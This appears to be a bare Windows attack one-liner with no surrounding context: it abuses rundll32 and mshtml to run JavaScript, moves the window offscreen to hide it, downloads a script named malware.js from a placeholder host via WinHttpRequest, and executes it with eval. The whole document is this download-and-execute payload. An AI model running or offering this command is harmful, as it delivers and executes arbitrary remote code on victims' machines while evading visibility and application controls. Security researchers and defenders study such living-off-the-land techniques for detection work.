rundll32 javascript:"\..\mshtml,RunHTMLApplication ";moveTo(-9999,-9999);eval("var x=new ActiveXObject('WinHttp.WinHttpRequest.5.1');x.open('GET','http://example.com/malware.js?nc='+Math.random(),!1);x.send();eval(x.responseText)");close()